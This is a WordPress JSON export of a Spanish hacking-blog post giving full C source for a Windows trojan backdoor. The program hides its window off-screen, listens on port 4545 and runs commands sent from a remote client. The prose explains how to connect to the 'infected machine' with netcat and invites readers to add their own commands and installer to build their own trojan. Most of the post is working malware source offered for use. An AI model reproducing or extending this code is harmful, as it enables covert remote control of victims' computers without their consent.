{"id":514,"date":"2026-03-10T21:03:37","date_gmt":"2026-03-10T21:03:37","guid":{"rendered":"https:\/\/hackcuba.net\/?p=514"},"modified":"2026-03-10T21:03:37","modified_gmt":"2026-03-10T21:03:37","slug":"trojan-horse-shell","status":"publish","type":"post","link":"https:\/\/hackcuba.net\/?p=514","title":{"rendered":"Trojan Horse Shell"},"content":{"rendered":"\n<p>Construiremos el<em> shell<\/em> de un troyano que nos permita tomar el control de una PC remota. El c\u00f3digo incluye todo lo b\u00e1sico, dej\u00e1ndole a quien quiera usarlo s\u00f3lo el trabajo de definir sus propios comandos y la tarea que debe realizar cada uno de ellos. Tambi\u00e9n tendr\u00e1 que definir su propio algoritmo de instalaci\u00f3n. El c\u00f3digo ejemplo se pone en escucha por el puerto 4545; no obstante, ser\u00eda buena idea que definieras tu propio puerto. Bueno, pasemos a lo que nos interesa, los c\u00f3digos:<\/p>\n\n\n\n<!--more-->\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;windows.h&gt;\n#include &lt;winsock.h&gt;\n#pragma hdrstop\n#pragma argsused\n#define LOCAL_PORT 4545 \/\/define el puerto en el que escuchar\u00e1\n#define WM_ACCEPTCONNECTION (WM_USER + 1)\n#define WM_RECV (WM_USER + 2)\n\nHWND hwndMain;\nHINSTANCE hInst;\nWSADATA g_Data;\nSOCKET g_Socket;\n\nvoid StartWinSock()\n{\n  SOCKADDR_IN LocalAddr;\n    \/\/ inicia WinSock\n  if( WSAStartup(MAKEWORD( 1, 1 ), &amp;g_Data ) != 0) {\n    ExitProcess(0);\n  }\n  \/\/ crea el socket\n  g_Socket = socket(AF_INET, SOCK_STREAM, 0);\n  if( INVALID_SOCKET == g_Socket ) {\n    ExitProcess(0);\n  }\n  memset(&amp;LocalAddr, 0, sizeof(SOCKADDR_IN));\n  LocalAddr.sin_family = AF_INET;\n  LocalAddr.sin_port = htons( LOCAL_PORT );\n  LocalAddr.sin_addr.s_addr = INADDR_ANY;\n  \/\/ relaciona el socket con una direcci\u00f3n y un puerto\n  if( bind( g_Socket, (SOCKADDR*)&amp;LocalAddr, sizeof(SOCKADDR_IN) ) == 0 ) {\n    \/\/ lo pone en escucha\n    if( listen( g_Socket, SOMAXCONN ) == 0 ) {\n      \/\/ usa notificaci\u00f3n de mensajes para sockets no bloqueantes\n      if( SOCKET_ERROR == WSAAsyncSelect( g_Socket, hwndMain,    WM_ACCEPTCONNECTION, FD_ACCEPT ) ) {\n        ExitProcess(0);\n      }\n    }\n  }\n}\n\n\/*\n** Este es el motor de comandos. Aqu\u00ed es donde se procesar\u00e1n los comandos\n** que llegan desde el cliente.\n*\/\nvoid CommandEngine(char *Command, unsigned int s)\n{\n  \/*\n   ** Comando: &quot;cmd1&quot;\n   ** Descripci\u00f3n: comando de prueba\n   *\/\n  if ( !strcmp( Command, &quot;cmd1&quot; ) ) {\n    \/\/ aqu\u00ed ponemos todo lo que har\u00e1 al teclearse este comando\n    char szReply&#x5B;50];\n    strcpy( szReply, &quot;&#x5B;Command 1 executed oK]\\r\\n\\r\\n&quot; );\n    send(s, szReply, strlen( szReply ), MSG_OOB );\n  } else\n  \/*\n   ** Comando: &quot;cmd2&quot;\n   ** Descripci\u00f3n: comando de prueba\n   *\/\n  if ( !strcmp( Command, &quot;cmd2&quot; ) ) {\n    \/\/ aqu\u00ed ponemos todo lo que har\u00e1 al teclearse este comando\n    char szReply&#x5B;50];\n    strcpy( szReply, &quot;&#x5B;Command 2 executed oK]\\r\\n\\r\\n&quot; );\n    send(s, szReply, strlen( szReply ), MSG_OOB );\n  } else\n  \/*\n   ** Comando: &quot;cmd3&quot;\n   ** Descripci\u00f3n: comando de prueba\n   *\/\n  if ( !strcmp( Command, &quot;cmd3&quot; ) ) {\n    \/\/ aqu\u00ed ponemos todo lo que har\u00e1 al teclearse este comando\n    char szReply&#x5B;50];\n    strcpy( szReply, &quot;&#x5B;Command 3 executed oK]\\r\\n\\r\\n&quot; );\n    send(s, szReply, strlen( szReply ), MSG_OOB );\n  } else\n    \/*\n    ** Comando: &quot;cmd4&quot;\n    ** Descripci\u00f3n: comando de prueba\n    *\/\n  if ( !strcmp( Command, &quot;cmd4&quot; ) ) {\n    \/\/ aqu\u00ed ponemos todo lo que har\u00e1 al teclearse este comando\n    char szReply&#x5B;50];\n    strcpy( szReply, &quot;&#x5B;Command 4 executed oK]\\r\\n\\r\\n&quot; );\n    send(s, szReply, strlen( szReply ), MSG_OOB );\n  }\n  \/*\n  ** Si se llega hasta aqu\u00ed es porque no se tecle\u00f3 ning\u00fan comando v\u00e1lido, as\u00ed que ser\u00eda una buena idea mostrar la ayuda en este momento. Como no hay comandos reales definidos, s\u00f3lo mostramos un mensaje de comando inv\u00e1lido.\n    *\/\n  else {\n    char szReply&#x5B;50];\n    strcpy( szReply, &quot;&#x5B;Not a valid command]\\r\\n\\r\\n&quot; );\n    send(s, szReply, strlen( szReply ), MSG_OOB );\n  }\n}\n\nLRESULT CALLBACK WndProc( HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam )\n{\n  static SOCKET ServerSocket;\n  SOCKADDR RemoteAddr;\n  int RemoteAddrSize;\n  char InBuffer&#x5B;255];\n  int ReceivedBytes;\n  switch (uMsg) {\n    \/\/ conexi\u00f3n entrante\n    case WM_ACCEPTCONNECTION:\n      if( LOWORD(lParam) == FD_ACCEPT) {\n        char szWelcomeMessage&#x5B;50];\n        RemoteAddrSize = sizeof(RemoteAddr);\n        ServerSocket = accept(g_Socket, &amp;RemoteAddr, &amp;RemoteAddrSize);\n        if(WSAAsyncSelect(ServerSocket, hwndMain, WM_RECV, FD_READ|FD_CLOSE) == SOCKET_ERROR)\n          ExitProcess(0);\n        \/\/ aqu\u00ed defines tu mensaje de bienvenida al conectar\n        strcpy( szWelcomeMessage, &quot;&#x5B;This is a welcome message]\\r\\n&quot;\n&quot;&#x5B;Connected with Trojan Shell by h0aX]\\r\\n\\r\\n&quot; );\n        send(ServerSocket, szWelcomeMessage, strlen( szWelcomeMessage ), MSG_OOB );\n      }\n      break;\n    case WM_RECV:\n      switch(LOWORD(lParam)) {\n        \/\/recibiendo un comando\n        case FD_READ:\n          ReceivedBytes = recv(ServerSocket, InBuffer, 255, NULL);\n          InBuffer&#x5B;ReceivedBytes-1] = 0;\n          SetWindowTextA(hwndMain,InBuffer);\n          CommandEngine( InBuffer, ServerSocket ); \/\/ lo env\u00eda al motor de comandos\n          break;\n          \/\/ se cerr\u00f3 la conexi\u00f3n en el cliente\n                  \/\/ as\u00ed que lo cerramos todo y reiniciamos el socket\n        case FD_CLOSE:\n          closesocket(ServerSocket);\n          closesocket(g_Socket);\n          WSACleanup();\n          StartWinSock();\n          break;\n      }\n      break;\n    case WM_DESTROY: {\n      closesocket(ServerSocket);\n      closesocket(g_Socket);\n      WSACleanup();\n      PostQuitMessage(0);\n      break;\n    }\n  }\n  return DefWindowProcA(hwnd,uMsg,wParam,lParam);\n}\n\nWINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)\n{\n  MSG msg;\n  WNDCLASS wndclass;\n  char szClassName&#x5B;] = &quot;hXTrojanClass&quot;;\n  hInst = hInstance;\n  wndclass.style = CS_VREDRAW | CS_HREDRAW;\n  wndclass.lpfnWndProc = WndProc;\n  wndclass.cbClsExtra = 0;\n  wndclass.cbWndExtra = 0;\n  wndclass.hInstance = hInstance;\n  wndclass.hIcon = LoadIconA(NULL, IDI_APPLICATION);\n  wndclass.hCursor = LoadCursorA(NULL, IDC_ARROW);\n  wndclass.hbrBackground = GetSysColorBrush(COLOR_BTNFACE);\n  wndclass.lpszMenuName = NULL;\n  wndclass.lpszClassName = szClassName;\n  RegisterClassA(&amp;wndclass);\n  hwndMain = CreateWindow(szClassName,&quot;&quot;, WS_SYSMENU | WS_MINIMIZEBOX | WS_VISIBLE,\n  -10000 , -10000 , 290, 130,\n  NULL, NULL, hInstance, 0);\n  ShowWindow(hwndMain, SW_HIDE);\n  StartWinSock();\n  while (GetMessageA(&amp;msg, NULL,0,0)) {\n    TranslateMessage(&amp;msg);\n    DispatchMessageA(&amp;msg);\n  }\n  return msg.wParam;\n}\n<\/pre><\/div>\n\n\n<p>Aclaro que en este c\u00f3digo bien podr\u00eda haberse usado <em>sockets<\/em> bloqueantes con notificaciones basadas en eventos; no obstante, he decidido usar <em>sockets<\/em> no bloqueantes con notificaci\u00f3n basada en mensajes. Los mensajes ser\u00e1n procesados por una ventana que nunca se har\u00e1 visible y tendr\u00e1 una posici\u00f3n fuera del \u00e1rea visible de la pantalla. Prefiero usa <em>sockets<\/em> no bloqueantes, ya que tienen un mayor uso, pues no todos los programas carecen de interfaz gr\u00e1fica.<\/p>\n\n\n\n<p><strong>El cliente:<\/strong><br>Dada la simplicidad del troyano y que el \u00fanico intercambio de datos ser\u00e1 en modo texto, no consider\u00e9 necesario hacerle un programa cliente para comunicarnos con el servidor. Podr\u00edas usar cualquier cliente que corriera sobre la l\u00ednea de comandos; a\u00fan as\u00ed, el telnet de Windows no es la mejor idea. El hecho es que ese programa env\u00eda la informaci\u00f3n inmediatamente cuando se teclea, en vez de enviar s\u00f3lo cuando se presiona <kbd>Enter<\/kbd>. Con esto tenemos que al teclear con telnet una cadena sobre nuestro troyano, cada letra ser\u00e1 reconocida como un comando distinto. En vez de telnet, les propongo una alternativa much\u00edsimo m\u00e1s eficiente: netcat. Su binario s\u00f3lo se lleva 60 Kb y puedes ponerlo en la carpeta de Windows y llamarlo cada vez que quieras como <code>nc<\/code>. El funcionamiento b\u00e1sico es id\u00e9ntico al telnet (<code>nc &lt;host&gt; &lt;puerto&gt;<\/code>). Netcat, adem\u00e1s de funcionar como cliente, tambi\u00e9n tiene funciones de servidor, <em>scan<\/em> de puertos en <em>hosts<\/em> remotos, etc. En la Web hay gran cantidad de informaci\u00f3n sobre este programa. Para la ayuda puedes teclear <code>nc -h<\/code>.<\/p>\n\n\n\n<p>Linux trae el netcat en todas sus distribuciones. Con esto no quiero hacerle desprecio al telnet de Windows; en definitiva, todos usamos telnet hasta que descubrimos netcat.<\/p>\n\n\n\n<p><strong>Modo de uso:<\/strong><br>Una vez compilado y ejecutado, abrimos una consola del sistema y tecleamos <code>nc 192.168.1.5 4545<\/code>, donde <code>192.168.1.5<\/code> es la m\u00e1quina infectada y <code>4545<\/code> el puerto. Si al conectar nos muestra el mensaje de bienvenida que le definimos, entonces ya estamos dentro, listos para comenzar a teclear comandos y hacer de la m\u00e1quina remota lo que queramos. Si no se conecta, chequea <em>firewalls<\/em>, si la IP remota es accesible, si el programa realmente est\u00e1 corriendo en el remoto, etc.<\/p>\n\n\n\n<p>Espero que este c\u00f3digo le sea de ayuda a todo el que le interese hacerse de su propio troyano. Con suerte de aqu\u00ed alguien saca algo \u00fatil.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Para saber m\u00e1s&#8230;<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"http:\/\/en.wikipedia.org\/wiki\/Trojan_horse_(computing)\" target=\"_blank\" rel=\"noreferrer noopener\">Wikipedia::Trojan Horse<\/a><\/li>\n\n\n\n<li><a href=\"http:\/\/www.daemon.be\/maarten\/targetedattacks.html\" target=\"_blank\" rel=\"noreferrer noopener\">Analysis of targeted trojan e-mail attacks<\/a><\/li>\n\n\n\n<li><a href=\"http:\/\/netcat.sourceforge.net\/\" target=\"_blank\" rel=\"noreferrer noopener\">GNU netcat<\/a><\/li>\n\n\n\n<li><a href=\"http:\/\/www.g-loaded.eu\/2006\/11\/06\/netcat-a-couple-of-useful-examples\/\" target=\"_blank\" rel=\"noreferrer noopener\">Netcat examples<\/a><\/li>\n<\/ul>\n\n\n\n<p>Escrito por H0aX [<a href=\"mailto:hoax_ws@yahoo.es\">hoax_ws@yahoo.es<\/a>]<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Construiremos el shell de un troyano que nos permita tomar el control de una PC remota. El c\u00f3digo<\/p>\n","protected":false},"author":2,"featured_media":515,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[59,14,157],"tags":[60,88,4,38,112,158],"class_list":["post-514","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-codigos","category-hacking","category-sistemas-operativos","tag-c","tag-codigos","tag-hacking","tag-proyecto-blackhat","tag-virus","tag-virus-troyano"],"_links":{"self":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts\/514","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=514"}],"version-history":[{"count":1,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts\/514\/revisions"}],"predecessor-version":[{"id":516,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts\/514\/revisions\/516"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/media\/515"}],"wp:attachment":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=514"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=514"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=514"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}